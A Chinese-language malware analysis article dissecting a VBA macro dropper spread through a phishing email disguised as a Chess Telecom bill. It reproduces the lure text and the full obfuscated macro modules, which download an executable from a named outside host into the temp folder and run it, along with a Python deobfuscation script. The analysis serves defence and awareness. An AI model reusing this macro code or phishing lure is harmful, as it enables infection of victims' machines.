一款流行的VBA宏病毒技术分析

1.通过邮件传播的宏病毒

近期流行的一个宏病毒通过邮件进行传播,捕捉到的一个样本，其邮件头如下：

邮件的内容是这样子的(为节省篇幅,省略号处省略部分内容)：

Your bill summary Account number: 24583 Invoice Number: 2398485 Bill date: July 2015 Amount: £17.50 How can I view my bills? Your Chess bill is ready and waiting for you online. To check out your deta=led bill, previous bills and any charges you've incurred since your last b=ll, just sign into My Account www.chesstelecom.com/myaccount Forgotten your sign in details?   If you've forgotten your sign in details, no problem, you can reset these b= choosing http://www.chesstelecom.com/lost_password.  Making payments is easy!   If you want to make a credit or debit card payment you can do online by cho=sing http://www.chesstelecom.com/online_payment You don't need to do anything if you pay by direct debit, we will collect y=ur payment automatically on or after 30th June. If you pay by cheque, deta=ls of how to pay us are available on the invoice. Switch to Direct Debit today and you'll save at least £60.00 a year, s=mply call our dedicated team on 0844 770 6060. Anything else you'd like to know?   ......  This e-mail has been sent from a Mailbox belonging to Chess Telecom, registered office Bridgford House, Heyes Lane, Alderley Edge, Cheshire, SK9=7JP.  Registered in England, number 2797895. Its contents are confidential to the=20 intended recipient. If you receive in error, please notify Chess Telecom on  +44 (0)800 019 8900 immediately quoting the name of the sender, the  +email address to which it has been sent and then delete it; you may not rely on i=s contents nor copy/disclose it to anyone. Opinions, conclusions and statements of intent in this email are those of the sender and will not bind Chess Tel=com unless confirmed by an authorised representative independently of this mess=ge.  We do not accept responsibility for viruses; you must scan for these. Please note that emails sent to and from Chess Telecom are routinely monitored for=20 record keeping, quality control and training purposes, to ensure regulatory=20 compliance and to prevent viruses and unauthorised use of our computer systems. Thank you for your co-operation.  Quotations are subject to terms and conditions, exclude VAT and are subject to site survey.  E&OE

上述邮件正文：描述内容看起来相当的可靠，里面的电话号码都是真实的，并且给出了具体的公司名称地址，而且这个公司还真是具体存在的，现在还不知道这个公司是否知道自己被人冒名干坏事儿了(有点绕口,但不是重点…)，之所以这么逼真，只是恶意邮件发送者希望以此来降低受害者的防备意识。

2.提取宏代码

我们主要分析的邮件的附件，通过Outlook的保存功能可以将邮件中的附件2015-07-Bill.docm保存出来，我们分析需要用到一个工具OfficeMalScanner，可以到 这里 下载。

OfficeMalScanner.exe  2015-07-Bill.docm inflate

解压后将会默认保存到C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/DecompressedMsOfficeDocument目录下面(WinXP SP3环境),解压后的目录大致如下：

│  [Content_Types].xml │ ├─docProps │      app.xml │      core.xml │ ├─word │  │  document.xml │  │  fontTable.xml │  │  settings.xml │  │  styles.xml │  │  vbaData.xml │  │  vbaProject.bin │  │  webSettings.xml │  │ │  ├─theme │  │      theme1.xml │  │ │  └─_rels │          document.xml.rels │          vbaProject.bin.rels │ └─_rels

OfficeMalScanner.exe vbaProject.bin info

默认会在vbaProject.bin同目录下生成一个文件夹VBAPROJECT.BIN-Macros，里面存放有vba宏代码的各个模块。本案例中所提取到的各个文件如下：

Module1 Module2 Module35 Module4 ThisDocument

上面的文件都是vb代码，只不过去掉了后缀而已。接着的工作就是分析vb代码，看一下具体做了什么。

3.代码分析

为了便于说明,并没有按照模块的顺序来说明

3.1 Module2代码分析

Module2的代码如下：

1  Attribute VB_Name = "Module2" 2   3  Function init() 4   5    Set thisfrm = Forms("main") 6   7    frmWidth = thisfrm.InsideWidth 8    frmHeight = thisfrm.InsideHeight 9   10  End Function 11  Public Function lLJrFk6pKsSYJ(L9QLFPTuZDwM As String) 12  L9QLFPTuZDwM = Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), "") 13   Set lLJrFk6pKsSYJ = CreateObject(L9QLFPTuZDwM) 14  End Function 15  Private Sub button_physical_inventory_Click() 16  On Error GoTo Err_button_physical_inventory_Click 17   18      strSQLWhere = Me.combo_department_name.Value 19      stDocName = "physical_inventory" 20      DoCmd.OpenReport stDocName, acPreview 21   22  Exit_button_physical_inventory_Click: 23      Exit Sub 24   25  Err_button_physical_inventory_Click: 26      MsgBox Err.Description 27      Resume Exit_button_physical_inventory_Click 28       29  End Sub

主要看[11-14]行代码，如下：

Public Function lLJrFk6pKsSYJ(L9QLFPTuZDwM As String) L9QLFPTuZDwM = Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), "")  Set lLJrFk6pKsSYJ = CreateObject(L9QLFPTuZDwM) End Function

3.2 模块Module1模块分析

Module1的代码如下：

1 Attribute VB_Name = "Module1" 2  3 Private Sub Form_Load() 4   Me.RecordSource = strSQLInventory 5    6   If Me.boxes > 0 Or Me.pieces > 0 Then 7     Me.total = (strInventoryCount * Me.boxes) + Me.pieces 8   Else 9     Me.total = Me.pieces 10   End If 11  12 End Sub 13  14 Private Sub boxes_LostFocus() 15   If Me.boxes > 0 Then 16     Me.total = strInventoryCount * Me.boxes 17   End If 18 End Sub 19  20 Public Function FlvXHsDrWT3aY(yXhBaz0XR As Variant, c7e410X3Qq As String) 21 Dim NLobhieCn4Xt: Set NLobhieCn4Xt = lLJrFk6pKsSYJ("A" & Chr(60) & Chr(100) & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & "e" & Chr(97) & Chr(59) & "m") 22  23 With NLobhieCn4Xt 24    .Type = 1 25     .Open 26     .write yXhBaz0XR 27 End With 28     NLobhieCn4Xt.savetofile c7e410X3Qq, 2 29 End Function 30 Private Sub pieces_LostFocus() 31   If Me.boxes > 0 Or Me.pieces > 0 Then 32     Me.total = (strInventoryCount * Me.boxes) + Me.pieces 33   Else 34     Me.total = Me.pieces 35   End If 36 End Sub 37  38 Private Sub btn_save_Click() 39   DoCmd.Save 40 End Sub

主要看[20-29]代码段，如下：

Public Function FlvXHsDrWT3aY(yXhBaz0XR As Variant, c7e410X3Qq As String) Dim NLobhieCn4Xt: Set NLobhieCn4Xt = lLJrFk6pKsSYJ("A" & Chr(60) & Chr(100) & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & "e" & Chr(97) & Chr(59) & "m")  With NLobhieCn4Xt    .Type = 1     .Open     .write yXhBaz0XR End With     NLobhieCn4Xt.savetofile c7e410X3Qq, 2 End Function

主要提供一个函数FlvXHsDrWT3aY(yXhBaz0XR=字节数组,c7e410X3Qq=文件名)，其语句为:

lLJrFk6pKsSYJ("A" & Chr(60) & Chr(100) & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & "e" & Chr(97) & Chr(59) & "m")

可以看到这里采用了Module2中的解密函数lLJrFk6pKsSYJ，对加密的字符串进行解密后使用。我们已经知道了lLJrFk6pKsSYJ函数的作用，因此手工解密后得到：

A <do;db=.St=r< e a; m

稍后我将会提供一个Python脚本对这些命令进行解密，还原出宏代码的真正命令。

3.3 Module4模块分析

1  Attribute VB_Name = "Module4" 2   3  Public ctlWidth As Integer 4  Public ctlHeight As Integer 5  Public aDPbd2byZb As String 6  Public strSQLBase As String 'query base 7  Public objSearchForm As String 'require form name 8  Public objInputCode As String 'text field for product code entry 9  Public objInputName As String 'text field for product name entry 10  Public searchCode As String 11  Public searchName As String 12  Public colS1 As String 'column to search 13  Public colS2 As String 'column to search 14   15  Function search_records() 16   17      'check form controls if they have user input 18      If Not IsNull(Forms(objSearchForm).Controls(objInputCode)) Then 19          searchCode = Forms(objSearchForm).Controls(objInputCode) 20      Else 21          searchCode = "" 22      End If 23       24      If Not IsNull(Forms(objSearchForm).Controls(objInputName)) Then 25          searchName = Forms(objSearchForm).Controls(objInputName) 26      Else 27          searchName = "" 28      End If 29       30      'main search logic 31      If (searchCode = "" And searchName = "") Or (IsNull(searchCode) And IsNull(searchName)) Then 32          strSQLSearch = strSQLBase 33      ElseIf (Not IsNull(searchCode) = True) And (Not IsNull(searchName) = True) Then 34          strSQLSearch = strSQLBase & " WHERE " & colS1 & " LIKE '" & searchCode & "*' AND " & colS2 & " LIKE '*" & searchName & "*'" 35      ElseIf Not IsNull(searchCode) Then 36          strSQLSearch = strSQLBase & " WHERE " & colS1 & " LIKE '" & searchCode & "*'" 37      ElseIf Not IsNull(searchName) Then 38          strSQLSearch = strSQLBase & " WHERE " & colS2 & " LIKE '*" & searchName & "*'" 39      Else 40          MsgBox "Please provide details to search" 41          Exit Function 42      End If 43   44      Forms(objSearchForm).RecordSource = strSQLSearch 45   46  End Function 47  Function control_set_left(controlName As String) 48       49    thisfrm.Controls(controlName).Left = 720 50     51  End Function 52   53  Sub LWS8UPvw1QGKq() 54   '下载地址:Nrh1INh1S5hGed="http://laboaudio.com/4tf33w/w4t453.exe". 55  Nrh1INh1S5hGed = Chr(104) & Chr(116) & Chr(61) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(108) & Chr(97) & Chr(98) & Chr(111) & "a" & Chr(60) & Chr(117) & "d" & Chr(105) & Chr(111) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & Chr(52) & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & "e" & Chr(61) & Chr(120) & Chr(101) '下载方式:LhZitls7wPn=Microsoft.XMLHTTP 56  Set LhZitls7wPn = lLJrFk6pKsSYJ("M" & "i" & Chr(60) & Chr(99) & Chr(114) & Chr(111) & Chr(61) & "s" & Chr(111) & "f" & Chr(116) & ";" & Chr(46) & "X" & Chr(77) & Chr(60) & "L" & Chr(59) & Chr(72) & "T" & Chr(61) & Chr(84) & "P") 57   58  Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed, Chr(60), ""), Chr(61), ""), Chr(59), "") '使用CallByName进行下载:CallByName Microsoft.XMLHTTP Open http://laboaudio.com/4tf33w/w4t453.exe 59  CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _ 60  Nrh1INh1S5hGed _ 61  , False 62   'vu2Wh85645xcP0=WScript.Shell 63  Set vu2Wh85645xcP0 = lLJrFk6pKsSYJ(Chr(87) & "<" & Chr(83) & "c" & Chr(61) & Chr(114) & "i" & Chr(112) & "t" & Chr(59) & Chr(46) & Chr(83) & "=" & Chr(104) & "e" & "<" & "l" & Chr(108)) 64   '获取查询环境变量的句柄: GhbwRqU9OkbF=CallByName(WScript,Environmentrocess) 65  Set GhbwRqU9OkbF = CallByName(vu2Wh85645xcP0, Chr(69) & Chr(110) & "v" & Chr(105) & Chr(114) & Chr(111) & "n" & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & "r" & "o" & Chr(99) & "e" & Chr(115) & "s") 66   '取得临时目录的路径:GhbwRqU9OkbF(TEMP) 67  SD3q5HdXxoiA = GhbwRqU9OkbF(Chr(84) & Chr(69) & Chr(77) & Chr(80)) 68   '下载的恶意程序存放路径:aDPbd2byZb=%TEMP%/fghgkbb.exe 69  aDPbd2byZb = SD3q5HdXxoiA & "/" & Chr(102) & Chr(103) & Chr(104) & Chr(103) & Chr(107) & Chr(98) & Chr(98) & Chr(46) & "e" & "x" & Chr(101) 70  Dim bvGEpxCVsZ() As Byte 71  '发送请求:CallByName Microsoft.XMLHTTP send VbMethod 72  CallByName LhZitls7wPn, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod '获取响应体:CallByName Microsoft.XMLHTTP responseBody VbGet 73  bvGEpxCVsZ = CallByName(LhZitls7wPn, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & Chr(110) & Chr(115) & Chr(101) & Chr(66) & Chr(111) & Chr(100) & "y", VbGet) '使用adodb.stream流,将bvGEpxCVsZ字节流写入到文件aDPbd2byZb中 '将字节数组bvGEpxCVsZ写入文件aDPbd2byZb' '这里涉及到了模块Module1中的函数FlvXHsDrWT3aY(字节数组,文件名) 74  FlvXHsDrWT3aY bvGEpxCVsZ, aDPbd2byZb 75  On Error GoTo OhXhZLRKh 76      a = 84 / 0 77    On Error GoTo 0 78     79  xrIvr6mOXvFG: 80    Exit Sub 81  OhXhZLRKh: 82    ENMD3t8EY4A ("UfBPGay4VPJi") 83  Resume xrIvr6mOXvFG 84  End Sub 85  Function control_set_right(controlName As String) 86       87    ctlWidth = thisfrm.Controls(controlName).Width 88    thisfrm.Controls(controlName).Left = frmWidth - ctlWidth - 720 89     90  End Function 91   92  Function control_set_center(controlName As String) 93     94    ctlWidth = thisfrm.Controls(controlName).Width 95    thisfrm.Controls(controlName).Left = (frmWidth / 2) - (ctlWidth / 2) 96   97   98  End Function

主要看[53-90]行，分析函数LWS8UPvw1QGKq的作用，为了了解这个函数到底干了什么，我们需要对其解密，上面的两个模块由于函数较短，可以进行手工解密，然而由于这个模块中要解密的太多,手工解密显然是一种繁琐效率低下的方式，故给出如下Python代码(Python3)：

import sys import io import re sys.stdout=io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') def decryptstr(s):  cmd=''  cmdlst=s.strip().split('&')  pat=re.compile(r"Chr/([0-9]*/)")  for item in cmdlst:   if 'Chr' in item:    beg,end=item.find('('),item.find(')')    numstr=item[beg+1:end]    cmd+=chr(int(numstr))   else:    cmd+=item.replace('"','')  cmd=cmd.replace(' ','')  cmd=cmd.replace('=','')  cmd=cmd.replace(';','')  cmd=cmd.replace('<','')  print(cmd) ss=input("Input String:") while len(ss)!=0:  print(decryptstr(ss))  ss=input("Input String:") 

代码比较少也比较简单，就没有写注释了。用法看下图就可以了：

3.4 ThisDocument模块分析

该模块主要代码如下(不像上面都给出了完整代码，而是仅仅给出了核心代码，如果希望查看完整代码的,可以到文末下载附件)：

Public Function ENMD3t8EY4A(Ka0YAlL82q As String) 'Shell.Application:创建了一个shell对象  Set CYgAH0pzCPj0eA = lLJrFk6pKsSYJ(Chr(83) & Chr(104) & "=" & Chr(101) & Chr(108) & Chr(59) & Chr(108) & Chr(60) & Chr(46) & Chr(65) & Chr(112) & Chr(59) & Chr(112) & Chr(108) & "i" & Chr(60) & "c" & "a" & Chr(116) & Chr(61) & Chr(105) & Chr(111) & Chr(110)) With CYgAH0pzCPj0eA 'open(C:/DOCUME~1/USERNAME/LOCALS~1/Temp/fghgkbb.exe):启动恶意程序 .Open (aDPbd2byZb)   End With End Function

也就是启动下载的恶意程序。另外，还有一个Module35模块，我没有进行说明，因为Module35基本上没有提供有用的信息，可以忽略，并不影响我们分析该宏的功能。

4.结论

至此,我们可以知道， 该宏代码通过邮件进行传播，当用户使用word打开邮件中的附件， 启用宏代码的时候，恶意代码将会首先到 http://laboaudio.com/4tf33w/ 下载w4t453.exe到受害者的临时目录，保存的名字为fghgkbb.exe，然后启动该恶意程序。 这个时候用户就中病毒了。

文末，还是提醒一下大家，对于陌生邮件，一定要慎重的打开，很多人对于邮件，什么都没有想，就直接打开邮件了。在本案例中是通过附件word中的宏代码进行感染，但是有的恶意程序直接在你打开邮件的时候就感染上病毒了。

*本文作者：bugnofree，属FreeBuf原创奖励计划文章，未经许可禁止转载